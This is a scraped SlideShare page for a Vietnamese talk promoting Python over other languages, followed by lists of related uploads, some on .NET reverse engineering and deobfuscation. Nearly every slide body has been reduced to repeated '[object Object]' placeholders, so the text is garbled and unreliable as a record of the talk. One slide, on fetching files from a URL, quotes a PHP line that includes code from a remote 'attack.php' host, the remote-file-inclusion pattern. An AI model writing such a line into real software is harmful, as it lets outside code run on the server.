SlideShare une entreprise Scribd logo
1  sur  24
Télécharger pour lire hors ligne
Python, ngôn ngữ lập trình cho phần đời còn lại Nguyễn Thành Nam http://www.vithon.org TPHCM, 2008-11-15
Nội dung ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Kinh nghiệm bản thân ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Giới thiệu Python ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Nguyên lý căn bản của Python ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Nguyên lý căn bản của Python ,[object Object],a = 1 b = a a = 2 Python  (tên) Ngôn ngữ khác  (biến)
Nguyên lý căn bản của Python ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Nguyên lý căn bản của Python ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Nguyên lý căn bản của Python ,[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Tính dễ đọc
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Hoán vị 2 số
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Tính toán số lớn
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Đọc file
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Đọc từng dòng
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Lọc phần tử trong mảng
[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Lấy file từ URL include(“http://remote/attack.php”);
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Đảo chuỗi
[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Chuyển mã
[object Object],[object Object],[object Object],[object Object],So sánh với ngôn ngữ khác Ứng dụng web
Giới thiệu Vithon ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Cảm ơn ,[object Object],[object Object],[object Object],[object Object]
Hỏi và cùng trả lời

Contenu connexe

Tendances

Reverse Engineering .NET - Advanced Patching, Playing with IL
Reverse Engineering .NET - Advanced Patching, Playing with ILReverse Engineering .NET - Advanced Patching, Playing with IL
Reverse Engineering .NET - Advanced Patching, Playing with ILLevis Nickaster
 
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịchPhân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịchLevis Nickaster
 
Hacking de4dot for fun - Bài dịch
Hacking de4dot for fun - Bài dịchHacking de4dot for fun - Bài dịch
Hacking de4dot for fun - Bài dịchLevis Nickaster
 
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)Levis Nickaster
 
Phân tích ConfuserEX - Invalid Metadata (bài dịch)
Phân tích ConfuserEX - Invalid Metadata (bài dịch)Phân tích ConfuserEX - Invalid Metadata (bài dịch)
Phân tích ConfuserEX - Invalid Metadata (bài dịch)Levis Nickaster
 

Tendances (7)

Tùy biến Confuser
Tùy biến ConfuserTùy biến Confuser
Tùy biến Confuser
 
Reverse Engineering .NET - Advanced Patching, Playing with IL
Reverse Engineering .NET - Advanced Patching, Playing with ILReverse Engineering .NET - Advanced Patching, Playing with IL
Reverse Engineering .NET - Advanced Patching, Playing with IL
 
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịchPhân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
 
Hacking de4dot for fun - Bài dịch
Hacking de4dot for fun - Bài dịchHacking de4dot for fun - Bài dịch
Hacking de4dot for fun - Bài dịch
 
Python
PythonPython
Python
 
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
 
Phân tích ConfuserEX - Invalid Metadata (bài dịch)
Phân tích ConfuserEX - Invalid Metadata (bài dịch)Phân tích ConfuserEX - Invalid Metadata (bài dịch)
Phân tích ConfuserEX - Invalid Metadata (bài dịch)
 

En vedette

How to learn English by yourself (IMA method)
How to learn English by yourself (IMA method)How to learn English by yourself (IMA method)
How to learn English by yourself (IMA method)Chip Huyen
 
沙龙升级
沙龙升级沙龙升级
沙龙升级David Xie
 
Créer un moteur de recherche avec des logiciels libres
Créer un moteur de recherche avec des logiciels libresCréer un moteur de recherche avec des logiciels libres
Créer un moteur de recherche avec des logiciels libresRobert Viseur
 
Bộ đề thi và câu hỏi trắc nghiệm thuế
Bộ đề thi và câu hỏi trắc nghiệm thuếBộ đề thi và câu hỏi trắc nghiệm thuế
Bộ đề thi và câu hỏi trắc nghiệm thuếTien Vuong
 
Th cac cong thuc mon qt tai chinh
Th cac cong thuc mon qt tai chinhTh cac cong thuc mon qt tai chinh
Th cac cong thuc mon qt tai chinhDuy Dũng Ngô
 
A jövő hackerei
A jövő hackereiA jövő hackerei
A jövő hackereipappet
 
Wooh dance workshop
Wooh dance workshopWooh dance workshop
Wooh dance workshopPeitung Wang
 
The Cloud as a Platform
The Cloud as a PlatformThe Cloud as a Platform
The Cloud as a Platformjineshvaria
 
0760111 Cell Phones: The Good, The Bad, and the Solid Gold
0760111 Cell Phones: The Good, The Bad, and the Solid Gold0760111 Cell Phones: The Good, The Bad, and the Solid Gold
0760111 Cell Phones: The Good, The Bad, and the Solid GoldAli G
 
United We Respond: One Community, One Voice
United We Respond: One Community, One VoiceUnited We Respond: One Community, One Voice
United We Respond: One Community, One VoiceConnie White
 
Media Villa Arnhem - Crowdfunding #mediavilla026
Media Villa Arnhem - Crowdfunding #mediavilla026Media Villa Arnhem - Crowdfunding #mediavilla026
Media Villa Arnhem - Crowdfunding #mediavilla026Ronald Kleverlaan
 
Designing a mobile service as a facilitator for capturing local trade data
Designing a mobile service as a facilitator for capturing local trade dataDesigning a mobile service as a facilitator for capturing local trade data
Designing a mobile service as a facilitator for capturing local trade dataUniversity of Central Lancashire
 
Textile Storyboard Version 3 Guru
Textile Storyboard Version 3 GuruTextile Storyboard Version 3 Guru
Textile Storyboard Version 3 Guruguestc8832a4
 
Reiss WIAD Los Angeles 2013
Reiss WIAD Los Angeles 2013Reiss WIAD Los Angeles 2013
Reiss WIAD Los Angeles 2013Eric Reiss
 
Presentacion evaluation third project meeting in spain
Presentacion evaluation third project meeting in spainPresentacion evaluation third project meeting in spain
Presentacion evaluation third project meeting in spainJose Luis Leon Gonzalez
 

En vedette (20)

How to learn English by yourself (IMA method)
How to learn English by yourself (IMA method)How to learn English by yourself (IMA method)
How to learn English by yourself (IMA method)
 
沙龙升级
沙龙升级沙龙升级
沙龙升级
 
Créer un moteur de recherche avec des logiciels libres
Créer un moteur de recherche avec des logiciels libresCréer un moteur de recherche avec des logiciels libres
Créer un moteur de recherche avec des logiciels libres
 
Bộ đề thi và câu hỏi trắc nghiệm thuế
Bộ đề thi và câu hỏi trắc nghiệm thuếBộ đề thi và câu hỏi trắc nghiệm thuế
Bộ đề thi và câu hỏi trắc nghiệm thuế
 
Th cac cong thuc mon qt tai chinh
Th cac cong thuc mon qt tai chinhTh cac cong thuc mon qt tai chinh
Th cac cong thuc mon qt tai chinh
 
Spanish omelette
Spanish omeletteSpanish omelette
Spanish omelette
 
A jövő hackerei
A jövő hackereiA jövő hackerei
A jövő hackerei
 
Wooh dance workshop
Wooh dance workshopWooh dance workshop
Wooh dance workshop
 
The Cloud as a Platform
The Cloud as a PlatformThe Cloud as a Platform
The Cloud as a Platform
 
0760111 Cell Phones: The Good, The Bad, and the Solid Gold
0760111 Cell Phones: The Good, The Bad, and the Solid Gold0760111 Cell Phones: The Good, The Bad, and the Solid Gold
0760111 Cell Phones: The Good, The Bad, and the Solid Gold
 
Pucha Kucha
Pucha KuchaPucha Kucha
Pucha Kucha
 
United We Respond: One Community, One Voice
United We Respond: One Community, One VoiceUnited We Respond: One Community, One Voice
United We Respond: One Community, One Voice
 
Online Organizing
Online OrganizingOnline Organizing
Online Organizing
 
Media Villa Arnhem - Crowdfunding #mediavilla026
Media Villa Arnhem - Crowdfunding #mediavilla026Media Villa Arnhem - Crowdfunding #mediavilla026
Media Villa Arnhem - Crowdfunding #mediavilla026
 
United We Respond
United We RespondUnited We Respond
United We Respond
 
Using NFC to Crowd Curate Music Preferences
Using NFC to Crowd Curate Music PreferencesUsing NFC to Crowd Curate Music Preferences
Using NFC to Crowd Curate Music Preferences
 
Designing a mobile service as a facilitator for capturing local trade data
Designing a mobile service as a facilitator for capturing local trade dataDesigning a mobile service as a facilitator for capturing local trade data
Designing a mobile service as a facilitator for capturing local trade data
 
Textile Storyboard Version 3 Guru
Textile Storyboard Version 3 GuruTextile Storyboard Version 3 Guru
Textile Storyboard Version 3 Guru
 
Reiss WIAD Los Angeles 2013
Reiss WIAD Los Angeles 2013Reiss WIAD Los Angeles 2013
Reiss WIAD Los Angeles 2013
 
Presentacion evaluation third project meeting in spain
Presentacion evaluation third project meeting in spainPresentacion evaluation third project meeting in spain
Presentacion evaluation third project meeting in spain
 

Similaire à Python for the rest of life

DoThanhNghi2016_Python.pdf
DoThanhNghi2016_Python.pdfDoThanhNghi2016_Python.pdf
DoThanhNghi2016_Python.pdfTamDo58
 
Python moi
Python moiPython moi
Python moiDÉp LÊ
 
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptxngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptxssuser49db3c1
 
Tai lieu huong_dan_ve_lap_trinh_php_7512
Tai lieu huong_dan_ve_lap_trinh_php_7512Tai lieu huong_dan_ve_lap_trinh_php_7512
Tai lieu huong_dan_ve_lap_trinh_php_7512lekytho
 
[C] giao trinh c dhbk - viet nhat
[C] giao trinh c   dhbk - viet nhat[C] giao trinh c   dhbk - viet nhat
[C] giao trinh c dhbk - viet nhatHoang Nguyen
 
Introduction to python 20110917
Introduction to python   20110917Introduction to python   20110917
Introduction to python 20110917AiTi Education
 
Các quy định& chuẩn trong lập trình NukeViet
Các quy định& chuẩn trong lập trình NukeVietCác quy định& chuẩn trong lập trình NukeViet
Các quy định& chuẩn trong lập trình NukeVietVu Thao
 
6 - Lập trình C++ cơ bản_print.pdf
6 - Lập trình C++ cơ bản_print.pdf6 - Lập trình C++ cơ bản_print.pdf
6 - Lập trình C++ cơ bản_print.pdfSonNguyen642431
 
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIIT
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIITTu-Hoc-Python-Co-Ban-Trong-10-Phut-NIIT
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIITNIIT - ICT Hà Nội
 
introdution to Python
introdution to Pythonintrodution to Python
introdution to PythonPTIT HCM
 

Similaire à Python for the rest of life (20)

DoThanhNghi2016_Python.pdf
DoThanhNghi2016_Python.pdfDoThanhNghi2016_Python.pdf
DoThanhNghi2016_Python.pdf
 
Python moi
Python moiPython moi
Python moi
 
python3.pptx
python3.pptxpython3.pptx
python3.pptx
 
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptxngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
 
Tai lieu huong_dan_ve_lap_trinh_php_7512
Tai lieu huong_dan_ve_lap_trinh_php_7512Tai lieu huong_dan_ve_lap_trinh_php_7512
Tai lieu huong_dan_ve_lap_trinh_php_7512
 
[C] giao trinh c dhbk - viet nhat
[C] giao trinh c   dhbk - viet nhat[C] giao trinh c   dhbk - viet nhat
[C] giao trinh c dhbk - viet nhat
 
Php02 ngon nguphp
Php02 ngon nguphpPhp02 ngon nguphp
Php02 ngon nguphp
 
1. Java cơ bản.pdf
1. Java cơ bản.pdf1. Java cơ bản.pdf
1. Java cơ bản.pdf
 
Introduction to python 20110917
Introduction to python   20110917Introduction to python   20110917
Introduction to python 20110917
 
LINQ
LINQLINQ
LINQ
 
temp.pdf
temp.pdftemp.pdf
temp.pdf
 
Php Csdlweb06
Php Csdlweb06Php Csdlweb06
Php Csdlweb06
 
Các quy định& chuẩn trong lập trình NukeViet
Các quy định& chuẩn trong lập trình NukeVietCác quy định& chuẩn trong lập trình NukeViet
Các quy định& chuẩn trong lập trình NukeViet
 
6 - Lập trình C++ cơ bản_print.pdf
6 - Lập trình C++ cơ bản_print.pdf6 - Lập trình C++ cơ bản_print.pdf
6 - Lập trình C++ cơ bản_print.pdf
 
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIIT
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIITTu-Hoc-Python-Co-Ban-Trong-10-Phut-NIIT
Tu-Hoc-Python-Co-Ban-Trong-10-Phut-NIIT
 
Java Tieng Viet
Java Tieng VietJava Tieng Viet
Java Tieng Viet
 
Linq net
Linq net Linq net
Linq net
 
Book
BookBook
Book
 
Book
BookBook
Book
 
introdution to Python
introdution to Pythonintrodution to Python
introdution to Python
 

Plus de Chip Huyen

Twitter Review
Twitter ReviewTwitter Review
Twitter ReviewChip Huyen
 
Vietnam Online Advertising Industry: A quick overview
Vietnam Online Advertising Industry: A quick overviewVietnam Online Advertising Industry: A quick overview
Vietnam Online Advertising Industry: A quick overviewChip Huyen
 
Interfaces, Surface Computing and Ubiquitous Computing
Interfaces, Surface Computing and Ubiquitous ComputingInterfaces, Surface Computing and Ubiquitous Computing
Interfaces, Surface Computing and Ubiquitous ComputingChip Huyen
 
Startups in Vietnam
Startups in VietnamStartups in Vietnam
Startups in VietnamChip Huyen
 
E Learner Platform 2 0
E Learner Platform 2 0E Learner Platform 2 0
E Learner Platform 2 0Chip Huyen
 
Vietnam Web Services Portal
Vietnam Web Services PortalVietnam Web Services Portal
Vietnam Web Services PortalChip Huyen
 

Plus de Chip Huyen (6)

Twitter Review
Twitter ReviewTwitter Review
Twitter Review
 
Vietnam Online Advertising Industry: A quick overview
Vietnam Online Advertising Industry: A quick overviewVietnam Online Advertising Industry: A quick overview
Vietnam Online Advertising Industry: A quick overview
 
Interfaces, Surface Computing and Ubiquitous Computing
Interfaces, Surface Computing and Ubiquitous ComputingInterfaces, Surface Computing and Ubiquitous Computing
Interfaces, Surface Computing and Ubiquitous Computing
 
Startups in Vietnam
Startups in VietnamStartups in Vietnam
Startups in Vietnam
 
E Learner Platform 2 0
E Learner Platform 2 0E Learner Platform 2 0
E Learner Platform 2 0
 
Vietnam Web Services Portal
Vietnam Web Services PortalVietnam Web Services Portal
Vietnam Web Services Portal
 

Python for the rest of life

  • 1. Python, ngôn ngữ lập trình cho phần đời còn lại Nguyễn Thành Nam http://www.vithon.org TPHCM, 2008-11-15
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24. Hỏi và cùng trả lời